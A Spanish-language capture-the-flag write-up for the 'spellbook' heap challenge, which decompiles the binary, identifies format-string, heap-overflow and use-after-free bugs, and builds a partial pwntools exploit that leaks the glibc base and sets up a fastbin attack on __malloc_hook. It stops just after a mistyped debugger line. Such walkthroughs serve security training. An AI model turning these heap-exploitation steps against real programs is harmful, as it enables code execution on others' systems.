Spellbook
19 minutos de lectura
Se nos proporciona un binario de 64 bits llamado spellbook
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Ingeniería inversa
Usando Ghidra, podemos leer el código fuente descompilado en C. Esta es la función main
:
void main() {
size_t option;
setup();
banner();
while (true) {
while (true) {
while (option = menu(), option == 2) {
show();
}
if (option < 3) break;
if (option == 3) {
edit();
} else {
if (option != 4) goto LAB_001010e9;
delete();
}
}
if (option != 1) break;
add();
}
LAB_001010e9:
printf("\n%s[-] You are not a wizard! You are a muggle!\n\n", &DAT_001017f7);
/* WARNING: Subroutine does not return */
exit(0x16);
}
Si ejecutamos el binario, se muestra un menú típico de un reto de explotación del heap:
$ ./spellbook
⅀ ℙ ∉ ⎳ ⎳ Ⓑ ℺ ℺ ₭
▗ ▖▗ ▖▗ ▖▖▖▖
▗▄▄ ▗ ▘▝ ▘▘▖
▖▝▀ ▀▗ ▞ ▘▖
▗ ▘ ▝▗ ▘▘▖
▖▝ ▝▚ ▘▖
▞▚ ▝▄ ▝▗▖
▐▘ ▄ ▘▖ ▘▖
▜▖ ▚ ▝▚▖ ▗▄▄▄▄▄▄▄▄▄▙▖
▜▌ ▚ ▝▗ ▄▖▀▀▀▀ ▙▖
▜▙ ▚ ▀▄ ▄▘ ▜█▄▖
▀▌ ▚ ▗▖▖ ▝▜▞ ▗▄▄▄▄▄▟▛█▜▛███▛█▜▘
▜▙ ▜ ▗ ▀▝ ▗█▄▙▖▗▟██▛█▜▀▀▀▀▀▀
▐▙ ▐ ▗▝▘ ▖▖▖█████▀▘
▐▙ ▝▖ ▄▝▘ ▗▄▄███▀▀▀▀▀▝
▀▙ ▜▝▘ ▗▄▄██▀▀
▀▙▖▐▘ ▗▄▛█▝▀
▐▙▟ ▄▛▛▘▘
▝▛▀▘
ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ
ᐊ 1. Add ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ
>>
Función de asignación
Podemos agregar hechizos usando la función add
(opción 1):
void add() {
int power_copy;
ulong index;
spl *p_spell;
ssize_t length;
ulong power;
char *p_spell;
long in_FS_OFFSET;
int r_size;
int size;
size_t idx;
spl *spell;
char *ptr;
char align[48];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf(&entry);
index = read_num();
if (index < 10) {
p_spell = (spl *) malloc(0x28);
printf(&insert_type);
length = read(0, p_spell, 23);
p_spell->type[(int) length - 1] = '\0';
printf(&insert_power);
power = read_num();
power_copy = (int) power;
if ((power_copy < 1) || (1000 < power_copy)) {
printf("\n%s[-] Such power is not allowed!\n", &DAT_001017f7);
/* WARNING: Subroutine does not return */
exit(0x122);
}
p_spell->power = power_copy;
p_spell = (char *) malloc((long) p_spell->power);
p_spell->sp = p_spell;
printf(&insert_p_spell);
length = read(0, p_spell->sp, (long) (power_copy - 1));
p_spell->sp[(long) (int) length - 1] = '\0';
table[index] = p_spell;
printf(&DAT_001018d8, &DAT_001018d0, &DAT_00101198);
} else {
printf(¬_found, &DAT_001017f7, &DAT_00101198);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Vemos que el programa asigna 0x28
bytes para una estructura spl
y podemos ingresar 23 bytes en p_spell->type
. Después de eso, podemos seleccionar el poder del hechizo (que es un entero positivo menor o igual que 1000). Y este valor de poder se utiliza para asignar memoria para p_spell->sp
. Luego podemos ingresar datos en p_spell->sp
, no hay desbordamientos en esta función.
Podemos crear hasta 10 hechizos, no importa el orden.
Función de información
La función show
maneja la opción 2:
void show() {
ulong index;
long in_FS_OFFSET;
size_t idx;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf(&entry);
index = read_num();
if ((index < 10) && (table[index] != NULL)) {
printf(&type);
printf(table[index]->type);
printf(&spell_data);
printf(table[index]->sp);
} else {
printf(¬_found, &DAT_001017f7, &DAT_00101198);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Aquí tenemos una vulnerabilidad de Format String porque controlamos table[index]->sp
y se usa como primer parámetro de printf
. Por lo tanto, podemos ingresar formatos como %x
para fugar direcciones de memoria desde la pila. Sin embargo, no usaré esta vulnerabilidad para resolver el reto.
Función de edición
Esta es la función edit
:
void edit() {
ulong index;
ssize_t length;
long in_FS_OFFSET;
int r_size;
size_t idx;
spl *new_spell;
long canary;
spl *p_spell;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf(&entry);
index = read_num();
if ((index < 10) && (table[index] != NULL)) {
p_spell = table[index];
printf(&type);
length = read(0, p_spell, 23);
p_spell->type[(int) length - 1] = '\0';
printf(&entry_data);
length = read(0, p_spell->sp, 31);
p_spell->type[(int) length - 1] = '\0';
printf(&changed, &DAT_001018d0, &DAT_00101198);
} else {
printf(¬_found, &DAT_001017f7, &DAT_00101198);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Aquí tenemos un error en esta instrucción: length = read(0, p_spell->sp, 31);
Porque p_spell->sp
se asignó en add
usando p_spell->power
como tamaño de asignación. Dado que el espacio mínimo que podemos asignar con malloc
son chunks de tamaño 0x20
(los datos del usuario son 0x18
), podemos desbordar los metadatos de tamaño del chunk adyacente (vulnerabilidad de Heap Overflow).
Función de liberación
Por último, pero no menos importante, esta es delete
:
void delete() {
ulong index;
long in_FS_OFFSET;
size_t idx;
spl *ptr;
long canary;
spl *p_spell;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf(&entry);
index = read_num();
if ((index < 10) && (table[index] != NULL)) {
p_spell = table[index];
free(p_spell->sp);
free(p_spell);
printf(&DAT_00101978, &DAT_001018d0, &DAT_00101198);
} else {
printf(¬_found, &DAT_001017f7, &DAT_00101198);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Aquí tenemos otra vulnerabilidad. Nótese que tanto p_spell->sp
y p_spell
se liberan, pero ninguno de ellos está sobrescribe con NULL
. Por lo tanto, aún podemos usar esas variables en las funciones show
y edit
(vulnerabilidad de Use After Free).
Estrategia de explotación
En primer lugar, tenemos una versión antigua de Glibc (2.23):
$ glibc/ld-linux-x86-64.so.2 glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Esta versión es extremadamente vulnerable a ataques de corrupción de memoria. Algunas técnicas se muestran en how2heap.
En retos de explotación del heap, es común lograr primitivas de lectura y escritura arbitrarias para obtener ejecución de comandos. Por lo tanto, algunos objetivos típicos son hooks de funciones (__malloc_hook
, __free_hook
, …), entradas de la GOT, exit handlers y direcciones de retorno, entre otras. Esta vez, el objetivo será __malloc_hook
(usaremos una shell one_gadget
).
Desarrollo del exploit
Para empezar, necesitamos obtener una fuga de memoria de Glibc para burlar ASLR.
Fugando direcciones de memoria
Esto se puede hacer fácilmente utilizando la vulnerabilidad de Format String en la función show
:
$ ./spellbook
⅀ ℙ ∉ ⎳ ⎳ Ⓑ ℺ ℺ ₭
▗ ▖▗ ▖▗ ▖▖▖▖
▗▄▄ ▗ ▘▝ ▘▘▖
▖▝▀ ▀▗ ▞ ▘▖
▗ ▘ ▝▗ ▘▘▖
▖▝ ▝▚ ▘▖
▞▚ ▝▄ ▝▗▖
▐▘ ▄ ▘▖ ▘▖
▜▖ ▚ ▝▚▖ ▗▄▄▄▄▄▄▄▄▄▙▖
▜▌ ▚ ▝▗ ▄▖▀▀▀▀ ▙▖
▜▙ ▚ ▀▄ ▄▘ ▜█▄▖
▀▌ ▚ ▗▖▖ ▝▜▞ ▗▄▄▄▄▄▟▛█▜▛███▛█▜▘
▜▙ ▜ ▗ ▀▝ ▗█▄▙▖▗▟██▛█▜▀▀▀▀▀▀
▐▙ ▐ ▗▝▘ ▖▖▖█████▀▘
▐▙ ▝▖ ▄▝▘ ▗▄▄███▀▀▀▀▀▝
▀▙ ▜▝▘ ▗▄▄██▀▀
▀▙▖▐▘ ▗▄▛█▝▀
▐▙▟ ▄▛▛▘▘
▝▛▀▘
ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ
ᐊ 1. Add ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ
>> 1
⅀ ℙ ∉ ⎳ ⎳'s entry: 0
Insert ⅀ ℙ ∉ ⎳ ⎳'s type: asdf
Insert ⅀ ℙ ∉ ⎳ ⎳ power: 1000
Enter ⅀ ℙ ∉ ⎳ ⎳: %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
[+] ⅀ ℙ ∉ ⎳ ⎳ has been added!
ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ
ᐊ 1. Add ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ
>> 2
⅀ ℙ ∉ ⎳ ⎳'s entry: 0
⅀ ℙ ∉ ⎳ ⎳'s type: asdf
⅀ ℙ ∉ ⎳ ⎳ : 7fff1dc2f090.0.7fba5cf5e3c0.7fba5d454700.1d.0.fdd684686659a600.7fff1dc31750.559c32e010d9.7fff1dc31830.fdd684686659a600.559c32e01110.7fba5ce87840.1.7fff1dc31838.15d456ca0.559c32e01080.0.7de28999c538235f.559c32e008c0.7fff1dc31830.0.0.2924d7dfc9d8235f.29ae558908e8235f.0.0.0.7fff1dc31848.7fba5d458168.7fba5d24180b.0.0.559c32e008c0.7fff1dc31830.0.559c32e008ea.7fff1dc31828.1c.1.7fff1dc32ad4.0.7fff1dc32ae0.7fff1dc32aeb.7fff1dc32b02.7fff1dc32b1d.7fff1dc32b53.7fff1dc32b64.7fff1dc32b8e.7fff1dc32b9f.7fff1dc32bb6.7fff1dc32bd4.7fff1dc32bef.7fff1dc32c07.
ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ
ᐊ 1. Add ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ
>>
Esas direcciones que comienzan con 0x7fba5c
son direcciones dentro de Glibc, por lo que podemos tomar cualquiera de ellas y encontrar la dirección base.
Sin embargo, usemos técnicas de explotación del heap para obtener la fuga. Para esto, podemos asignar un chunk grande y liberarlo, de modo que se agregue al Unsorted Bin. Cuando esto sucede, hay dos punteros (fd
y bk
) que apuntan a algún offset de main_arena
, que es un símbolo de Glibc.
Podemos ver esto en GDB:
$ gdb -q spellbook
Reading symbols from spellbook...
gef➤ run
Starting program: ./spellbook
⅀ ℙ ∉ ⎳ ⎳ Ⓑ ℺ ℺ ₭
▗ ▖▗ ▖▗ ▖▖▖▖
▗▄▄ ▗ ▘▝ ▘▘▖
▖▝▀ ▀▗ ▞ ▘▖
▗ ▘ ▝▗ ▘▘▖
▖▝ ▝▚ ▘▖
▞▚ ▝▄ ▝▗▖
▐▘ ▄ ▘▖ ▘▖
▜▖ ▚ ▝▚▖ ▗▄▄▄▄▄▄▄▄▄▙▖
▜▌ ▚ ▝▗ ▄▖▀▀▀▀ ▙▖
▜▙ ▚ ▀▄ ▄▘ ▜█▄▖
▀▌ ▚ ▗▖▖ ▝▜▞ ▗▄▄▄▄▄▟▛█▜▛███▛█▜▘
▜▙ ▜ ▗ ▀▝ ▗█▄▙▖▗▟██▛█▜▀▀▀▀▀▀
▐▙ ▐ ▗▝▘ ▖▖▖█████▀▘
▐▙ ▝▖ ▄▝▘ ▗▄▄███▀▀▀▀▀▝
▀▙ ▜▝▘ ▗▄▄██▀▀
▀▙▖▐▘ ▗▄▛█▝▀
▐▙▟ ▄▛▛▘▘
▝▛▀▘
ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ
ᐊ 1. Add ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ
>> 1
⅀ ℙ ∉ ⎳ ⎳'s entry: 0
Insert ⅀ ℙ ∉ ⎳ ⎳'s type: asdf
Insert ⅀ ℙ ∉ ⎳ ⎳ power: 1000
Enter ⅀ ℙ ∉ ⎳ ⎳: fdsa
[+] ⅀ ℙ ∉ ⎳ ⎳ has been added!
ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ
ᐊ 1. Add ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ
>> 1
⅀ ℙ ∉ ⎳ ⎳'s entry: 1
Insert ⅀ ℙ ∉ ⎳ ⎳'s type: qwer
Insert ⅀ ℙ ∉ ⎳ ⎳ power: 16
Enter ⅀ ℙ ∉ ⎳ ⎳: rewq
[+] ⅀ ℙ ∉ ⎳ ⎳ has been added!
ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ
ᐊ 1. Add ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04360 in read () from ./glibc/libc.so.6
Hay que tener en cuenta que hemos agregado un chunk pequeño después del grande para evitar la consolidación con el top chunk:
gef➤ heap chunks
Chunk(addr=0x555555604010, size=0x30, flags=PREV_INUSE)
[0x0000555555604010 61 73 64 66 00 00 00 00 00 00 00 00 00 00 00 00 asdf............]
Chunk(addr=0x555555604040, size=0x3f0, flags=PREV_INUSE)
[0x0000555555604040 66 64 73 61 00 00 00 00 00 00 00 00 00 00 00 00 fdsa............]
Chunk(addr=0x555555604430, size=0x30, flags=PREV_INUSE)
[0x0000555555604430 71 77 65 72 00 00 00 00 00 00 00 00 00 00 00 00 qwer............]
Chunk(addr=0x555555604460, size=0x20, flags=PREV_INUSE)
[0x0000555555604460 72 65 77 71 00 00 00 00 00 00 00 00 00 00 00 00 rewq............]
Chunk(addr=0x555555604480, size=0x20b90, flags=PREV_INUSE)
[0x0000555555604480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x555555604480, size=0x20b90, flags=PREV_INUSE) ← top chunk
Ahora, liberamos el chunk grande:
gef➤ continue
Continuing.
4
⅀ ℙ ∉ ⎳ ⎳'s entry: 0
[+] ⅀ ℙ ∉ ⎳ ⎳ has been deleted!
ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ
ᐊ 1. Add ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04360 in read () from ./glibc/libc.so.6
Y tenemos este contenido en el heap:
gef➤ heap chunks
Chunk(addr=0x555555604010, size=0x30, flags=PREV_INUSE)
[0x0000555555604010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x555555604040, size=0x3f0, flags=PREV_INUSE)
[0x0000555555604040 78 1b dd f7 ff 7f 00 00 78 1b dd f7 ff 7f 00 00 x.......x.......]
Chunk(addr=0x555555604430, size=0x30, flags=! PREV_INUSE)
[0x0000555555604430 71 77 65 72 00 00 00 00 00 00 00 00 00 00 00 00 qwer............]
Chunk(addr=0x555555604460, size=0x20, flags=PREV_INUSE)
[0x0000555555604460 72 65 77 71 00 00 00 00 00 00 00 00 00 00 00 00 rewq............]
Chunk(addr=0x555555604480, size=0x20b90, flags=PREV_INUSE)
[0x0000555555604480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x555555604480, size=0x20b90, flags=PREV_INUSE) ← top chunk
gef➤ heap bins
[+] No Tcache in this version of libc
──────────────────────────────────────────────────────────── Fastbins for arena at 0x7ffff7dd1b20 ────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] ← Chunk(addr=0x555555604010, size=0x30, flags=PREV_INUSE)
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
────────────────────────────────────────────────────────── Unsorted Bin for arena at 0x7ffff7dd1b20 ──────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x555555604030, bk=0x555555604030
→ Chunk(addr=0x555555604040, size=0x3f0, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
─────────────────────────────────────────────────────────── Small Bins for arena at 0x7ffff7dd1b20 ───────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
─────────────────────────────────────────────────────────── Large Bins for arena at 0x7ffff7dd1b20 ───────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤ x/10gx 0x555555604030
0x555555604030: 0x00000000000003e8 0x00000000000003f1
0x555555604040: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555604050: 0x0000000000000000 0x0000000000000000
0x555555604060: 0x0000000000000000 0x0000000000000000
0x555555604070: 0x0000000000000000 0x0000000000000000
Hay un chunk en el Unsorted Bin, con fd
y bk
apuntando a 0x00007ffff7dd1b78
(main_arena
más un offset). Podemos encontrar el offset a la dirección base de Glibc así:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555400000 0x00555555402000 0x00000000000000 r-x ./spellbook
0x00555555602000 0x00555555603000 0x00000000002000 r-- ./spellbook
0x00555555603000 0x00555555604000 0x00000000003000 rw- ./spellbook
0x00555555604000 0x00555555625000 0x00000000000000 rw- [heap]
0x007ffff7a0d000 0x007ffff7bcd000 0x00000000000000 r-x ./glibc/libc.so.6
0x007ffff7bcd000 0x007ffff7dcd000 0x000000001c0000 --- ./glibc/libc.so.6
0x007ffff7dcd000 0x007ffff7dd1000 0x000000001c0000 r-- ./glibc/libc.so.6
0x007ffff7dd1000 0x007ffff7dd3000 0x000000001c4000 rw- ./glibc/libc.so.6
0x007ffff7dd3000 0x007ffff7dd7000 0x00000000000000 rw-
0x007ffff7dd7000 0x007ffff7dfd000 0x00000000000000 r-x ./glibc/ld-linux-x86-64.so.2
0x007ffff7ff3000 0x007ffff7ff6000 0x00000000000000 rw-
0x007ffff7ff6000 0x007ffff7ffa000 0x00000000000000 r-- [vvar]
0x007ffff7ffa000 0x007ffff7ffc000 0x00000000000000 r-x [vdso]
0x007ffff7ffc000 0x007ffff7ffd000 0x00000000025000 r-- ./glibc/ld-linux-x86-64.so.2
0x007ffff7ffd000 0x007ffff7ffe000 0x00000000026000 rw- ./glibc/ld-linux-x86-64.so.2
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]
gef➤ p/x 0x00007ffff7dd1b78 - 0x007ffff7a0d000
$1 = 0x3c4b78
Obsérvese que la dirección anterior se mostrará usando show
debido a la vulnerabilidad de Use After Free:
gef➤ c
Continuing.
2
⅀ ℙ ∉ ⎳ ⎳'s entry: 0
⅀ ℙ ∉ ⎳ ⎳'s type:
⅀ ℙ ∉ ⎳ ⎳ : x
. Add ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ
>>
Se puede ver una x
, que es parte de la fuga (byte 0x78
). El resto de los bytes no son imprimibles, por lo que no se muestran, pero están ahí. Comencemos a codificar el exploit:
#!/usr/bin/env python3
from pwn import *
from typing import Tuple
context.binary = elf = ELF('spellbook')
glibc = ELF('glibc/libc.so.6', checksec=False)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def add(p, entry: int, type_data: bytes, power: int, data: bytes):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'entry: ', str(entry).encode())
p.sendlineafter(b'type: ', type_data)
p.sendlineafter(b'power: ', str(power).encode())
p.sendafter(b': ', data)
def show(p, entry: int) -> Tuple[bytes, bytes]:
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'entry: ', str(entry).encode())
p.recvuntil(b'type: ')
type_data = p.recvline().strip()
p.recvuntil(b': ')
data = p.recvline().strip()
return type_data, data
def edit(p, entry: int, type_data: bytes, data: bytes):
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'entry: ', str(entry).encode())
p.sendlineafter(b'type: ', type_data)
p.sendafter(b': ', data)
def delete(p, entry: int):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'entry: ', str(entry).encode())
def main():
p = get_process()
add(p, 0, b'A', 1000, b'A')
add(p, 1, b'B', 16, b'B')
delete(p, 0)
_, leak = show(p, 0)
glibc.address = u64(leak.ljust(8, b'\0')) - 0x3c4b78
log.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
if __name__ == '__main__':
main()
Parece mucho código, pero centrémonos en main
, el resto son funciones auxiliares. Con el código anterior deberíamos extraer la fuga de memoria y encontrar la dirección base de Glibc:
$ python3 solve.py
[*] './spellbook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './spellbook': pid 4051093
[+] Glibc base address: 0x7f7810d41000
[*] Switching to interactive mode
ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ
ᐊ 1. Add ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ
>> $
Ahí lo tenemos, sigamos adelante.
Ataque de Fast Bin
Probablemente haya muchas formas de explotar este programa debido a Glibc 2.23 y los bugs que hemos encontrado (vulnerabilidad de Format String, vulnerabilidad de Heap Overflow, vulnerabilidad de Use After Free).
Esta vez, haré un ataque de Fast Bin. Esta técnica consiste en modificar el puntero fd
de un chunk liberado (con la vulnerabilidad de Use After Free en edit
) a otra dirección de memoria. Por lo tanto, la lista enlazada del Fast Bin se corromperá y, al asignar nuevos chunks, habrá uno de ellos asignado en la dirección deseada.
Sin embargo, no todas las direcciones de memoria son válidas ya que Glibc 2.23 realiza unas mínimas comprobaciones, como el campo de tamaño de chunks. En resumen, si liberamos un trozo de tamaño X
, el valor de memoria antes de la dirección donde apunta el fd
debe tener un valor de tamaño válido (es decir, X
).
Para obtener la ejecución del comandos, queremos escribir una shell one_gadget
en __malloc_hook
. Para ataques de Fast Bin, este es un buen objetivo debido al contexto de la memoria (muy diferente a __free_hook
):
gef➤ x/gx &__malloc_hook
0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a928a0
gef➤ x/20gx 0x7ffff7dd1b10 - 0x40
0x7ffff7dd1ad0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ae0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1af0: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92ea0 0x00007ffff7a92a70
0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a928a0 0x0000000000000000
0x7ffff7dd1b20: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60: 0x0000000000000000 0x0000000000000000
gef➤ x/gx &__free_hook
0x7ffff7dd37a8 <__free_hook>: 0x0000000000000000
gef➤ x/20gx 0x7ffff7dd37a8 - 0x40
0x7ffff7dd3768: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3778: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3788: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3798: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37a8 <__free_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37b8: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37c8: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37d8: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37e8: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37f8: 0x0000000000000000 0x0000000000000000
Preferimos __malloc_hook
antes que __free_hook
porque podemos tener un byte 0x7f
(de una dirección de memoria) que puede simular un campo de tamaño para un chunk de 0x70
bytes (los últimos 4 bits no se tienen en cuenta al calcular el tamaño, son solo flags que manejan otras características del heap). Por ejemplo:
gef➤ x/20gx 0x7ffff7dd1b10 - 35
0x7ffff7dd1aed: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92ea0000000 0xfff7a92a7000007f
0x7ffff7dd1b0d: 0xfff7a928a000007f 0x000000000000007f
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b3d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b4d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b5d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b6d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b7d: 0x0000000000000000 0x0000000000000000
Parece un chunk del heap, ¿no? Lo único que debemos tener en cuenta es el offset donde está __malloc_hook
. Lo veremos más adelante.
En este vídeo se puede ver el concepto con otra técnica llamada Fast Bin dup: Introduction To GLIBC Heap Exploitation - Max Kamper.
Por el momento, podemos corromper el puntero fd
del chunk número 2:
gdb.attack(p, 'continue')
